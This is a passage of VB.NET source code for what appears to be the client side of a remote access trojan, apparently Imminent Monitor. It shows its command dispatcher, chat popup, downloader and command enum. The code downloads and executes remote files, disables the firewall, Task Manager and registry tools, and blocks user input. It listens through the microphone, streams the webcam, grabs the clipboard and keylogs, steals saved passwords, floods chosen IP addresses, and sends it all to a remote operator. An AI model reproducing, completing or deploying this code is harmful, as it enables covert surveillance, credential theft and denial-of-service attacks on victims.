  746.                     My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
  747.                     Exit Select
  748.                 Case CommandType.Question
  749.                     My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Question)
  750.                     Exit Select
  751.                 Case CommandType.hand
  752.                     My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Hand)
  753.                     Exit Select
  754.                 Case CommandType.HideDesktop
  755.                     Dim hWnd As IntPtr = FindWindow("ProgMan", Nothing)
  756.                     hWnd = Native.GetWindow(hWnd, 5)
  757.                     ShowWindow(hWnd, 0)
  758.                     SendStatus("Desktop hidden...")
  759.                     Exit Select
  760.                 Case CommandType.ShowDesktop
  761.                     Dim hWnd As IntPtr = FindWindow("ProgMan", Nothing)
  762.                     hWnd = Native.GetWindow(hWnd, 5)
  763.                     ShowWindow(hWnd, 4)
  764.                     SendStatus("Desktop shown...")
  765.                     Exit Select
  766.                 Case CommandType.LockDesktop
  767.                     Dim deskwin As Long = FindWindow("Progman", vbNullString)
  768.                     EnableWindow(CInt(deskwin), 0)
  769.                     SendStatus("Desktop locked...")
  770.                     Exit Select
  771.                 Case CommandType.UnlockDesktop
  772.                     Dim deskwin As Long = FindWindow("Progman", vbNullString)
  773.                     EnableWindow(CInt(deskwin), 1)
  774.                     SendStatus("Desktop unlocked...")
  775.                     Exit Select
  776.                 Case CommandType.BlockInput
  777.                     BlockInput(True)
  778.                     SendStatus("Input blocked...")
  779.                     Exit Select
  780.                 Case CommandType.UnblockInput
  781.                     BlockInput(False)
  782.                     SendStatus("Input unblocked...")
  783.                     Exit Select
  784.                 Case CommandType.ShowStart
  785.                     Dim n As IntPtr = FindWindowEx(IntPtr.Zero, IntPtr.Zero, "Shell_TrayWnd", vbNullString)
  786.                     Dim startbtn As Long = FindWindowEx(n, IntPtr.Zero, "Button", vbNullString)
  787.                     ShowWindow(startbtn, 9)
  788.                     Exit Select
  789.                 Case CommandType.HideStart
  790.                     Dim n As IntPtr = FindWindowEx(IntPtr.Zero, IntPtr.Zero, "Shell_TrayWnd", vbNullString)
  791.                     Dim startbtn As Long = FindWindowEx(n, IntPtr.Zero, "Button", vbNullString)
  792.                     ShowWindow(startbtn, 0)
  793.                     Exit Select
  794.                 Case CommandType.SendKeyBoardText
  795.                     InputManaging.SendKeyString(commandString.Split(SplitMark1)(1))
  796.                     Exit Select
  797.                 Case CommandType.MsgBox
  798.                     Dim t As New Thread(AddressOf Msg)
  799.                     t.Start(commandString)
  800.                     SendStatus("Messagebox shown...")
  801.                     Exit Select
  802.                 Case CommandType.Downloader
  803.                     Dim DlThr As New Thread(AddressOf DownloadThread)
  804.                     DlThr.IsBackground = True
  805.                     DlThr.SetApartmentState(ApartmentState.STA)
  806.                     DlThr.Start(commandString)
  807.                     SendStatus("Download started...")
  808.                     Exit Select
  809.                 Case CommandType.DownloadExecTransfer
  810.                     Dim DownloadTransferExec As New QuickTransfer(commandString)
  811.                     SendStatus("Transfer started...")
  812.                 Case CommandType.DeleteFolder
  813.                     Dim DeleteDirWithContents As New Thread(AddressOf FileManaging.DeleteFolder)
  814.                     DeleteDirWithContents.SetApartmentState(ApartmentState.STA)
  815.                     DeleteDirWithContents.Start(commandString.Split(SplitMark1)(1))
  816.                     SendStatus("Folder deleted...")
  817.                     Exit Select
  818.                 Case CommandType.DeleteFile
  819.                     FileManaging.DeleteFile(commandString.Split(SplitMark1)(1))
  820.                     SendStatus("File deleted...")
  821.                     Exit Select
  822.                 Case CommandType.CreateFolder
  823.                     IO.Directory.CreateDirectory(commandString.Split(SplitMark1)(1))
  824.                     SendStatus("Folder created...")
  825.                     Exit Select
  826.                 Case CommandType.Download
  827.                     Dim SendFile As New Transfer(commandString)
  828.                     SendStatus("Download started...")
  829.                 Case CommandType.Upload
  830.                     Dim ReceiveFile As New Transfer(commandString)
  831.                     SendStatus("Upload started...")
  832.                 Case CommandType.Executefile
  833.                     Process.Start(commandString.Split(SplitMark1)(1))
  834.                     SendStatus("File executed...")
  835.                     Exit Select
  836.                 Case CommandType.Wallpaper
  837.                     FileManaging.Wallpaper(commandString.Split(SplitMark1)(1))
  838.                     SendStatus("Wallpaper set...")
  839.                     Exit Select
  840.                 Case CommandType.Renamefile
  841.                     FileManaging.RenameFile(commandString.Split(SplitMark1)(1), commandString.Split(SplitMark1)(2))
  842.                     SendStatus("File renamed...")
  843.                     Exit Select
  844.                 Case CommandType.RenameFolder
  845.                     FileManaging.RenameFolder(commandString.Split(SplitMark1)(1), commandString.Split(SplitMark1)(2))
  846.                     SendStatus("Folder renamed...")
  847.                     Exit Select
  848.                 Case CommandType.ExecuteAsAdmin
  849.                     Dim T As New Thread(AddressOf FileManaging.RunAsAdmin)
  850.                     T.IsBackground = True
  851.                     T.SetApartmentState(ApartmentState.STA)
  852.                     T.Start(commandString)
  853.                     Exit Select
  854.                 Case CommandType.Copy
  855.                     FileManaging.Copy(commandString.Split(SplitMark1)(1), commandString.Split(SplitMark1)(2))
  856.                     SendStatus("File copied...")
  857.                     Exit Select
  858.                 Case CommandType.ListenMicrophone
  859.                     Dim M As New Microphone(commandString)
  860.                     SendStatus("Microphone started...")
  861.                     Exit Select
  862.                 Case CommandType.ClipBoard
  863.                     SendClipboardText()
  864.                     SendStatus("Clipboard sent...")
  865.                     Exit Select
  866.                 Case CommandType.SetClipBoard
  867.                     My.Computer.Clipboard.SetText(commandString.Substring(1, commandString.Length - 1))
  868.                     SendStatus("Clipboard set...")
  869.                     Exit Select
  870.                 Case CommandType.DisableFirewall
  871.                     DisableFunctions.DisableFirewall(True)
  872.                     Exit Select
  873.                 Case CommandType.EnableFirewall
  874.                     DisableFunctions.DisableFirewall(False)
  875.                     Exit Select
  876.                 Case CommandType.DisableCMD
  877.                     DisableFunctions.DisableCMD(True)
  878.                     Exit Select
  879.                 Case CommandType.EnableCMD
  880.                     DisableFunctions.DisableCMD(False)
  881.                     Exit Select
  882.                 Case CommandType.DisableReg
  883.                     DisableFunctions.DisableRegistry(True)
  884.                     Exit Select
  885.                 Case CommandType.EnableReg
  886.                     DisableFunctions.DisableRegistry(False)
  887.                     Exit Select
  888.                 Case CommandType.DisableTask
  889.                     Dim t As New Thread(AddressOf DisableFunctions.DisableTaskManager)
  890.                     t.Start(True)
  891.                     Exit Select
  892.                 Case CommandType.EnableTask
  893.                     Dim t As New Thread(AddressOf DisableFunctions.DisableTaskManager)
  894.                     t.Start(False)
  895.                     Exit Select
  896.                 Case CommandType.DisableHidFolders
  897.                     DisableFunctions.DisableHiddenFiles(True)
  898.                     Exit Select
  899.                 Case CommandType.EnableHidFolders
  900.                     DisableFunctions.DisableHiddenFiles(False)
  901.                     Exit Select
  902.                 Case CommandType.OpenInputSocket
  903.                     Dim T As New Thread(AddressOf InputManaging.StartRemoteInput)
  904.                     T.Start(commandString.Split(SplitMark1)(1))
  905.                     SendStatus("Input socket opened...")
  906.  
  907.                     Exit Select
  908.                 Case CommandType.Update
  909.                     Dim DlThr As New Threading.Thread(AddressOf UpdateThread)
  910.                     DlThr.IsBackground = True
  911.                     DlThr.SetApartmentState(ApartmentState.STA)
  912.                     DlThr.Start(commandString)
  913.                     SendStatus("Update started...")
  914.                     Exit Select
  915.                 Case CommandType.RemoteCam
  916.                     Dim Splits() As String = commandString.Split(SplitMark1)
  917.                     Dim NewRemoteWebcam As New Webcam(Splits(1), remoteHost, compilerSettings.remotePort, Splits(2), Splits(3))
  918.                     SendStatus("Remote cam started...")
  919.                 Case CommandType.RegistryList
  920.                     RegistryManaging.SendReg(commandString)
  921.                     SendStatus("Registy items listed...")
  922.                     Exit Select
  923.                 Case CommandType.RegistryCreateSubkey
  924.                     RegistryManaging.CreateSubkey(Asc(commandString.Split(SplitMark1)(1)), commandString.Split(SplitMark1)(2), commandString.Split(SplitMark1)(3))
  925.                     Exit Select
  926.                 Case CommandType.RegistryDelSubkey
  927.                     RegistryManaging.DelRegSubkey(Asc(commandString.Split(SplitMark1)(1)), commandString.Split(SplitMark1)(2), commandString.Split(SplitMark1)(3))
  928.                     Exit Select
  929.                 Case CommandType.RegistryCreateValue
  930.                     RegistryManaging.CreateValue(Asc(commandString.Split(SplitMark1)(1)), Asc(commandString.Split(SplitMark1)(2)), commandString.Split(SplitMark1)(3), commandString.Split(SplitMark1)(4), commandString.Split(SplitMark1)(5))
  931.                     Exit Select
  932.                 Case CommandType.ChatCredntials
  933.                     Dim T As New Thread(AddressOf ShowChat)
  934.                     T.Start(commandString.Split(SplitMark1)(1))
  935.                     Exit Select
  936.                 Case CommandType.CloseChat
  937.                     Dim Closethread As New Thread(AddressOf CloseChat)
  938.                     Closethread.Start()
  939.                     Exit Select
  940.                 Case CommandType.ReceiveChat
  941.                     Rec(commandString.Split(SplitMark1)(1), commandString.Split(SplitMark1)(2))
  942.                     Exit Select
  943.                 Case CommandType.InputRec
  944.                     Dim InputBoxThread As New Thread(AddressOf PopInputBox)
  945.                     InputBoxThread.SetApartmentState(ApartmentState.STA)
  946.                     InputBoxThread.Start(commandString)
  947.                     Exit Select
  948.                 Case CommandType.DeleteKeylog
  949.                     Dim enc As New Encryption
  950.                     File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt")
  951.                     Dim sr As New StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & Environment.UserName & ".txt")
  952.                     sr.Write(enc.Encrypt("Imminent", "New Log Started " & Date.Now.ToString & vbNewLine))
  953.                     sr.Close()
  954.                     sr.Dispose()
  955.                     SendStatus("Log deleted...")
  956.                     Exit Select
  957.                 Case CommandType.TTS
  958.                     Dim SAPI As Object
  959.                     SAPI = CreateObject("SAPI.spvoice")
  960.                     SAPI.Speak(commandString.Split(SplitMark1)(1))
  961.                 Case CommandType.QuickStartups
  962.                     Dim Q As New QuickStartups
  963.                     Q.SendQuickStartups(buf(1))
  964.                     SendStatus("Startups sent...")
  965.                     Exit Select
  966.  
  967.                 Case CommandType.ReConnect
  968.  
  969.                     Application.Restart()
  970.                     End
  971.                 Case CommandType.Ping
  972.                     Send(Chr(CommandType.Ping))
  973.                     Exit Select
  974.                 Case CommandType.AdvancedSysInfo
  975.                     SendStatus("System information sent...")
  976.                     Send(Chr(CommandType.AdvancedSysInfo) & SplitMark1 & SystemInformation.LAN & SplitMark1 & SystemInformation.OS & SplitMark1 & SystemInformation.ComputerName & SplitMark1 & SystemInformation.Username & SplitMark1 & CamControl.HasCam & SplitMark1 & SystemInformation.Antivirus & SplitMark1 & SystemInformation.Firewall & SplitMark1 & SystemInformation.Privileges & SplitMark1 & SystemInformation.Screens & SplitMark1 & SystemInformation.GetProcessorId() & SplitMark1 & SystemInformation.GetGraphicsCardName & SplitMark1 & SystemInformation.Battery & SplitMark1 & SystemInformation.getMacAddress & SplitMark1 & SystemInformation.GetRamUsage & SplitMark1 & SystemInformation.TimeSinceLastReboot & SplitMark1 & Application.ExecutablePath & SplitMark1 & My.Computer.Info.TotalPhysicalMemory)
  977.                     Exit Select
  978.                 Case CommandType.LiveQuality
  979.                     Try
  980.                         If commandString.Split(Chr(118)).Length > 1 Then
  981.                             For x = 1 To commandString.Split(Chr(118)).Length - 1
  982.                                 RemoteDesktop.Quality = commandString.Split(Chr(118))(x).Split(SplitMark1)(1)
  983.                             Next
  984.                         Else
  985.                             RemoteDesktop.Quality = commandString.Split(SplitMark1)(1)
  986.                         End If
  987.                     Catch ex As Exception
  988.                     End Try
  989.                     Exit Select
  990.                 Case CommandType.Recovery
  991.  
  992.                     Dim R1 As New Recovery
  993.                     Send(Chr(119) & R1.getPasswords)
  994.                     SendStatus("Passwords sent...")
  995.                     Exit Select
  996.                 Case CommandType.TCP
  997.                     Send(Chr(120) & (ConnectionsManager.GetExtendedTCPdata))
  998.                     SendStatus("TCP connections grabbed...")
  999.                     Exit Select
  1000.                 Case CommandType.MalwareRemoval
  1001.                     R.ScanThread()
  1002.                     SendStatus("Malware scanned...")
  1003.                     Exit Select
  1004.                 Case CommandType.Disconnect
  1005.                     If compilerSettings.bsodProection Then SelfProtection.BSODUnProtect()
  1006.                     End
  1007.                 Case CommandType.MalwareKill
  1008.                     Dim K As New Thread(AddressOf R.StartRemoval)
  1009.                     K.SetApartmentState(ApartmentState.STA)
  1010.                     K.Start(commandString.Remove(0, 1))
  1011.                     SendStatus("Swwping malware...")
  1012.                     Exit Select
  1013.                 Case CommandType.ChatSettings
  1014.                     ChangeSettings(Asc(commandString.Substring(1, 1)), Asc(commandString.Substring(2, 1)))
  1015.                     Exit Select
  1016.                 Case CommandType.CloseConnection
  1017.                     commandString = commandString.Remove(0, 1)
  1018.                     ConnectionsManager.KillConnection(commandString.Split(SplitMark1)(0), commandString.Split(SplitMark1)(1), commandString.Split(SplitMark1)(2), commandString.Split(SplitMark1)(3))
  1019.                     Exit Select
  1020.                 Case CommandType.SendMonitors
  1021.                     Dim i As Integer = 0
  1022.                     For Each Sc In Screen.AllScreens
  1023.                         i = i + 1
  1024.                         Send(Chr(132) & i)
  1025.                     Next
  1026.                     Exit Select
  1027.                 Case CommandType.DeleteQuickStartup
  1028.                     Dim Position As String = commandString.Split(QuickStartups.Split1)(0)
  1029.                     Dim Key As String = commandString.Split(QuickStartups.Split1)(1)
  1030.                     Exit Select
  1031.                 Case CommandType.DeleteKey
  1032.                     Dim Registry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
  1033.                     Dim Key As Microsoft.Win32.RegistryKey = Registry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
  1034.                     Key.DeleteValue(commandString.Split(SplitMark1)(1))
  1035.                     Exit Select
  1036.                 Case CommandType.Seeder
  1037.                     Dim U As New Seeder(commandString.Split(SplitMark1)(1))
  1038.                     Exit Select
  1039.                 Case CommandType.ChangeID
  1040.                     compilerSettings.serverId = commandString.Split(SplitMark1)(1)
  1041.                     Send(Chr(CommandType.ChangeID) & SplitMark1 & commandString.Split(SplitMark1)(1))
  1042.                     Exit Select
  1043.                 Case 226
  1044.                     Send(Chr(CommandType.SendDevices) & SplitMark1 & LoadDeviceList() & SplitMark1)
  1045.                     Exit Select
  1046.                 Case CommandType.Stress
  1047.                     Dim ip As String = commandString.Split(SplitMark1)(1)
  1048.                     Dim port As Integer = CInt(commandString.Split(SplitMark1)(2))
  1049.                     S.StartFlood(CInt(commandString.Split(SplitMark1)(3)), ip, port)
  1050.                     Exit Select
  1051.                 Case CommandType.StopStress
  1052.                     If StressTesting.Flooding = True Then
  1053.                         S.StopArme()
  1054.                     End If
  1055.                     S.StopUdp()
  1056.                     Send(Chr(140) & SplitMark1 & "Stopped Flooding...")
  1057.                     Exit Select
  1058.                 Case CommandType.Screenshot
  1059.                     commandString.Split(SplitMark1)(1) = commandString.Split(SplitMark1)(1).Replace(" ", "")
  1060.                     commandString.Split(SplitMark1)(1) = commandString.Split(SplitMark1)(1).Trim
  1061.                     Dim Res As String
  1062.                     For Each c As Char In commandString.Split(SplitMark1)(1)
  1063.                         If IsNumeric(c) Then
  1064.                             Res = Res & c
  1065.                         End If
  1066.                     Next
  1067.                     ScreenShotManager.SendScreen(Res)
  1068.                     Exit Select
  1069.             End Select
  1070.         Catch ex As Exception
  1071.         End Try
  1072.     End Sub
  1073.  
  1074. #End Region
  1075.  
  1076. #Region "Invoking"
  1077.     Public Sub WriteCmdInput(ByVal cmdInput As String)
  1078.         remoteCmd.SendDataToCMD(cmdInput)
  1079.     End Sub
  1080.     Public Sub SendClipboardText()
  1081.         Send(Chr(CommandType.ClipBoard) & My.Computer.Clipboard.GetText)
  1082.     End Sub
  1083.     Dim F As Form
  1084.     Dim txtRecv As RichTextBox
  1085.     Dim txtSend As TextBox
  1086.     Public CloseB As Boolean = 0
  1087.     Dim HoldClip As Boolean = False
  1088.     Public Delegate Sub Invoker(ByVal Admin As Object)
  1089.     <DllImport("User32.dll", CharSet:=CharSet.Auto)> _
  1090.     Private Function SetWindowLongW(ByVal hWnd As HandleRef, ByVal nIndex As Integer, ByVal dwNewLong As IntPtr) As Integer
  1091.     End Function
  1092.     Const GWLP_HWNDPARENT As Integer = -8
  1093.     Dim consoleHWnd As IntPtr
  1094.  
  1095.     Public Sub ShowChat(ByVal Admin As Object)
  1096.         Try
  1097.             F = New Form
  1098.             F.Text = "Chat - You are speaking with " & Admin
  1099.             F.MinimizeBox = False
  1100.             F.MaximizeBox = False
  1101.             F.FormBorderStyle = FormBorderStyle.FixedSingle
  1102.             F.ShowIcon = False
  1103.             F.ShowInTaskbar = False
  1104.             F.Size = New Point(400, 350)
  1105.             F.StartPosition = FormStartPosition.CenterScreen
  1106.             F.Font = New Font("Verdana", 8)
  1107.             txtRecv = New Windows.Forms.RichTextBox
  1108.             txtRecv.Multiline = True
  1109.             txtRecv.Size = New Point(370, 265)
  1110.             txtRecv.Location = New Point(6, 11)
  1111.             txtRecv.ReadOnly = True
  1112.             txtRecv.BackColor = Color.White
  1113.             txtSend = New Windows.Forms.TextBox
  1114.             txtSend.Size = New Size(New Point(370, 20))
  1115.             txtSend.Location = New Point(6, 282)
  1116.             AddHandler F.FormClosing, AddressOf FormClosing
  1117.             AddHandler txtRecv.TextChanged, AddressOf TextChanged
  1118.             AddHandler txtSend.KeyDown, AddressOf txtSend_KeyDown
  1119.             AddHandler txtSend.MouseMove, AddressOf MouseMove
  1120.             F.Controls.Add(txtRecv)
  1121.             F.Controls.Add(txtSend)
  1122.             SetForm(F)
  1123.             SetWindowLongW(New HandleRef(F, F.Handle), GWLP_HWNDPARENT, consoleHWnd)
  1124.  
  1125.             Application.Run(F)
  1126.             F.TopMost = True
  1127.             SendStatus("Chat Initiated...")
  1128.         Catch ex As Exception
  1129.         End Try
  1130.     End Sub
  1131.     Public globalForm As New Form
  1132.     Public Sub SetForm(ByVal F As Form)
  1133.         On Error Resume Next
  1134.         globalForm = F
  1135.     End Sub
  1136.     Public Enum SettingIdentifier
  1137.  
  1138.         CursorClip = 4
  1139.         TopMost = 5
  1140.         CenterScreen = 6
  1141.     End Enum
  1142.     Public Sub ChangeSettings(ByVal Identifier As SettingIdentifier, ByVal BoolValue As Integer)
  1143.         On Error Resume Next
  1144.         Select Case Identifier
  1145.             Case SettingIdentifier.CursorClip
  1146.                 If BoolValue = 2 Then
  1147.                     HoldClip = True
  1148.                 Else
  1149.                     HoldClip = False
  1150.                 End If
  1151.             Case SettingIdentifier.CenterScreen
  1152.                 globalForm.Left = (Screen.PrimaryScreen.WorkingArea.Width - globalForm.Width) / 2
  1153.                 globalForm.Top = (Screen.PrimaryScreen.WorkingArea.Height - globalForm.Height) / 2
  1154.             Case SettingIdentifier.TopMost
  1155.                 If BoolValue = 2 Then
  1156.                     globalForm.TopMost = True
  1157.                 Else
  1158.                     globalForm.TopMost = False
  1159.                 End If
  1160.         End Select
  1161.     End Sub
  1162.     Public Sub MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs)
  1163.         On Error Resume Next
  1164.         If HoldClip Then Cursor.Clip = globalForm.Bounds
  1165.     End Sub
  1166.     Sub TextChanged(ByVal sender As Object, ByVal e As System.EventArgs)
  1167.         On Error Resume Next
  1168.         txtRecv.SelectionStart = txtRecv.TextLength
  1169.         txtRecv.ScrollToCaret()
  1170.     End Sub
  1171.     Public Sub FormClosing(ByVal sender As Object, ByVal e As FormClosingEventArgs)
  1172.         On Error Resume Next
  1173.         If CloseB = 0 Then
  1174.             e.Cancel = True
  1175.         Else
  1176.             e.Cancel = False
  1177.         End If
  1178.     End Sub
  1179.     Private Sub txtSend_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs)
  1180.         On Error Resume Next
  1181.         If txtSend.Text = "" Then
  1182.         Else
  1183.             If e.KeyCode = Keys.Enter Then
  1184.                 AppendText(Color.ForestGreen, "You ")
  1185.                 AppendText(Color.DimGray, txtSend.Text)
  1186.                 Send(Chr(107) & SystemInformation.Username & SplitMark1 & txtSend.Text)
  1187.                 txtSend.Clear()
  1188.                 e.SuppressKeyPress = True
  1189.             End If
  1190.         End If
  1191.     End Sub
  1192.     Private Sub AppendText(ByVal c As Color, ByVal text As String)
  1193.         On Error Resume Next
  1194.         txtRecv.SelectionStart = txtRecv.TextLength
  1195.         txtRecv.SelectionLength = 0
  1196.         txtRecv.SelectionColor = c
  1197.         txtRecv.AppendText(text)
  1198.         txtRecv.SelectionColor = txtRecv.ForeColor
  1199.         txtRecv.AppendText(Environment.NewLine)
  1200.         txtRecv.AppendText(Environment.NewLine)
  1201.         globalForm.TopMost = True
  1202.     End Sub
  1203.     Public Sub CloseChat()
  1204.         Try
  1205.             CloseB = 1
  1206.             globalForm.Close()
  1207.         Catch ex As Exception
  1208.  
  1209.         End Try
  1210.  
  1211.     End Sub
  1212.     Public Sub Rec(ByVal User As String, ByVal Text As String)
  1213.  
  1214.         AppendText(Color.Blue, User)
  1215.         AppendText(Color.DimGray, Text)
  1216.  
  1217.     End Sub
  1218. #End Region
  1219.  
  1220. #Region "Downloading"
  1221.     Private Const StatusDownloading As Byte = &H1
  1222.     Private Const StatusDownloadError As Byte = &H3
  1223.     Private Const StatusExecuted As Byte = &H5
  1224.     Private Const StatusExecuteError As Byte = &H6
  1225.     Private Const UpdateFinished As Byte = &H8
  1226.     Public Sub DownloadThread(ByVal params As Object)
  1227.         Try
  1228.             Send(Chr(CommandType.downloaderStatus) & Chr(StatusDownloading))
  1229.             Dim urlPath As String = params.split(SplitMark1)(1)
  1230.             Dim filePath As String = Path.GetTempPath & params.split(SplitMark1)(2)
  1231.             Dim downloaderClient As New WebClient()
  1232.             downloaderClient.DownloadFile(urlPath, filePath)
  1233.             Try
  1234.                 Process.Start(filePath)
  1235.                 Send(Chr(CommandType.downloaderStatus) & Chr(StatusExecuted))
  1236.             Catch
  1237.                 Try
  1238.                     Process.Start(filePath)
  1239.                     Send(Chr(CommandType.downloaderStatus) & Chr(StatusExecuted))
  1240.                 Catch
  1241.                     Send(Chr(CommandType.downloaderStatus) & Chr(StatusExecuteError))
  1242.                 End Try
  1243.             End Try
  1244.         Catch ex As Exception
  1245.             Send(Chr(CommandType.downloaderStatus) & Chr(StatusDownloadError))
  1246.         End Try
  1247.     End Sub
  1248.     Public Sub UpdateThread(ByVal params As Object)
  1249.         Try
  1250.             Send(Chr(CommandType.downloaderStatus) & Chr(StatusDownloading))
  1251.             Dim urlPath As String = params.split(SplitMark1)(1)
  1252.             Dim filePath As String = Path.GetTempPath & params.split(SplitMark1)(2)
  1253.             Dim downloaderClient As New WebClient()
  1254.             downloaderClient.DownloadFile(urlPath, filePath)
  1255.             Try
  1256.                 Process.Start(filePath)
  1257.                 Send(Chr(CommandType.downloaderStatus) & Chr(UpdateFinished))
  1258.                 End
  1259.             Catch
  1260.                 Try
  1261.                     Process.Start(filePath)
  1262.                     Send(Chr(CommandType.downloaderStatus) & Chr(UpdateFinished))
  1263.                     End
  1264.                 Catch
  1265.                     Send(Chr(CommandType.downloaderStatus) & Chr(StatusExecuteError))
  1266.                 End Try
  1267.             End Try
  1268.         Catch ex As Exception
  1269.             Send(Chr(CommandType.downloaderStatus) & Chr(StatusDownloadError))
  1270.         End Try
  1271.     End Sub
  1272. #End Region
  1273.  
  1274. #Region "Msgbox & Input"
  1275.     Public Sub Msg(ByVal Buf As Object)
  1276.         On Error Resume Next
  1277.         Dim MsgIcon As MessageBoxIcon = Nothing
  1278.         Dim Btn As MessageBoxButtons = Nothing
  1279.         Dim Text1 As String = Buf.Split(SplitMark1)(1)
  1280.         Dim Text2 As String = Buf.Split(SplitMark1)(2)
  1281.         Select Case Buf.Split(SplitMark1)(3)
  1282.             Case MsgIconEnum.Information
  1283.                 MsgIcon = MessageBoxIcon.Information
  1284.             Case MsgIconEnum.MsgError
  1285.                 MsgIcon = MessageBoxIcon.Error
  1286.             Case MsgIconEnum.Warning
  1287.                 MsgIcon = MessageBoxIcon.Warning
  1288.             Case MsgIconEnum.Question
  1289.                 MsgIcon = MessageBoxIcon.Question
  1290.             Case MsgIconEnum.MsgNothing
  1291.                 MsgIcon = MessageBoxIcon.None
  1292.         End Select
  1293.         Select Case Buf.Split(SplitMark1)(4)
  1294.             Case MsgBtnEnum.YesNo
  1295.                 Btn = MessageBoxButtons.YesNo
  1296.             Case MsgBtnEnum.OK
  1297.                 Btn = MessageBoxButtons.OK
  1298.             Case MsgBtnEnum.OKCanel
  1299.                 Btn = MessageBoxButtons.OKCancel
  1300.         End Select
  1301.         MessageBox.Show(New WindowWrapper(GetForegroundWindow), Text1, Text2, Btn, MsgIcon)
  1302.     End Sub
  1303.     Public Enum MsgIconEnum
  1304.         Information = 1
  1305.         MsgError = 2
  1306.         Warning = 4
  1307.         Question = 7
  1308.         MsgNothing = 8
  1309.     End Enum
  1310.     Public Enum MsgBtnEnum
  1311.         YesNo = 1
  1312.         OK = 2
  1313.         OKCanel = 4
  1314.     End Enum
  1315.     Public Sub PopInputBox(ByVal bufString As Object)
  1316.         Dim txt As String = InputBox(bufString.Split(SplitMark1)(1), "")
  1317.         If txt <> Nothing Then
  1318.             Send(Chr(108) & txt)
  1319.         Else
  1320.             Send(Chr(108) & "User didn't type anything back")
  1321.         End If
  1322.     End Sub
  1323. #End Region
  1324.  
  1325. #Region "Thumbnail desk sub"
  1326.     Public Sub StreamThumb()
  1327.         Try
  1328.             Dim memoryStream As MemoryStream = New MemoryStream
  1329.             Dim thumbnailImage As Image = Nothing
  1330.             thumbnailImage = ImageManaging.ConvertToJpeg(ImageManaging.ResizeImage(RemoteDesktop.TakeScreenshotWithGDI(), 640, 480), 80)
  1331.             thumbnailImage.Save(memoryStream, ImageFormat.Jpeg)
  1332.             Send(Chr(CommandType.ThumbTask) & Convert.ToBase64String(memoryStream.GetBuffer))
  1333.             memoryStream.Close()
  1334.             memoryStream.Dispose()
  1335.             GC.Collect()
  1336.         Catch ex As Exception
  1337.         End Try
  1338.     End Sub
  1339. #End Region
  1340.  
  1341. #Region "Command Type Enums"
  1342.     Public Enum CommandType
  1343.         MainInformation = 1
  1344.         RemoteDesktop = 2
  1345.         RemoteCam = 3
  1346.         RemoteKeylogger = 4
  1347.         ListenMicrophone = 5
  1348.         FileTransferDownload = 6
  1349.         FileTransferUpload = 7
  1350.         StartRemoteCMD = 8
  1351.         RemoteCMDInput = 9
  1352.         Processes = 10
  1353.         Windows = 11
  1354.         FilesFolders = 12
  1355.         SuspendProcess = 13
  1356.         ResumeProcess = 14
  1357.         KillProcess = 15
  1358.         FreezeWindow = 16
  1359.         UnfreezeWindow = 17
  1360.         SetText = 18
  1361.         WindowShow = 19
  1362.         WindowHide = 20
  1363.         CloseWindow = 21
  1364.         MinimizeWindow = 22
  1365.         RestoreWindow = 23
  1366.         GetActiveWindow = 24
  1367.         KeyDown = 25
  1368.         KeyUp = 26
  1369.         Uninstall = 29
  1370.         ShutdownComputer = 30
  1371.         RestartComputer = 31
  1372.         OpenCD = 32
  1373.         CloseCD = 33
  1374.         HideTask = 34
  1375.         ShowTask = 35
  1376.         LockTask = 36
  1377.         Unlocktask = 37
  1378.         MonOn = 38
  1379.         MonOff = 39
  1380.         MouseSwap = 40
  1381.         MouseReturn = 41
  1382.         SendToWebsite = 42
  1383.         HTML = 43
  1384.         VBS = 44
  1385.         Batch = 45
  1386.         Beep = 46
  1387.         Asterisk = 47
  1388.         Exclamation = 48
  1389.         Question = 49
  1390.         hand = 50
  1391.         HideDesktop = 51
  1392.         ShowDesktop = 52
  1393.         LockDesktop = 53
  1394.         UnlockDesktop = 54
  1395.         BlockInput = 55
  1396.         UnblockInput = 56
  1397.         HideStart = 57
  1398.         ShowStart = 58
  1399.         SendKeyBoardText = 59
  1400.         MsgBox = 60
  1401.         Downloader = 61
  1402.         OpenInputSocket = 62
  1403.         DeleteFile = 65
  1404.         DeleteFolder = 66
  1405.         CreateFolder = 69
  1406.         RenameFolder = 70
  1407.         Renamefile = 71
  1408.         Wallpaper = 72
  1409.         Upload = 74
  1410.         Download = 75
  1411.         DownloadExecTransfer = 76
  1412.         Executefile = 77
  1413.         ExecuteAsAdmin = 78
  1414.         Copy = 79
  1415.         ClipBoard = 80
  1416.         SetClipBoard = 81
  1417.         ServerVer = 86
  1418.         downloaderStatus = 87
  1419.         DisableFirewall = 88
  1420.         EnableFirewall = 89
  1421.         DisableCMD = 90
  1422.         EnableCMD = 91
  1423.         DisableReg = 92
  1424.         EnableReg = 93
  1425.         DisableTask = 94
  1426.         EnableTask = 95
  1427.         DisableHidFolders = 96
  1428.         EnableHidFolders = 97
  1429.         Update = 98
  1430.         RegistryList = 99
  1431.         RegistryDelSubkey = 100
  1432.         RegistryDelValue = 101
  1433.         RegistryCreateSubkey = 102
  1434.         RegistryCreateValue = 103
  1435.         ThumbTask = 104
  1436.         ChatCredntials = 105
  1437.         CloseChat = 106
  1438.         ReceiveChat = 107
  1439.         InputRec = 108
  1440.         DeleteKeylog = 109
  1441.         CloseCam = 110
  1442.         TTS = 111
  1443.         QuickStartups = 112
  1444.         ReConnect = 113
  1445.         Ping = 114
  1446.         AdvancedSysInfo = 115
  1447.         Thumbnail = 116
  1448.         IdleTime = 117
  1449.         LiveQuality = 118
  1450.         Recovery = 119
  1451.         TCP = 120
  1452.         GenericInfo = 121
  1453.         Disconnect = 122
  1454.         MalwareRemoval = 123
  1455.         MalwareKill = 124
  1456.         LogOff = 126
  1457.         Hibernate = 127
  1458.         Suspend = 128
  1459.         ChatSettings = 129
  1460.         CloseConnection = 131
  1461.         SendMonitors = 132
  1462.         DeleteQuickStartup = 133
  1463.         DeleteKey = 134
  1464.         ErrorHandler = 135
  1465.         Seeder = 136
  1466.         ChangeID = 137
  1467.         Status = 138
  1468.         SendDevices = 139
  1469.         Stress = 140
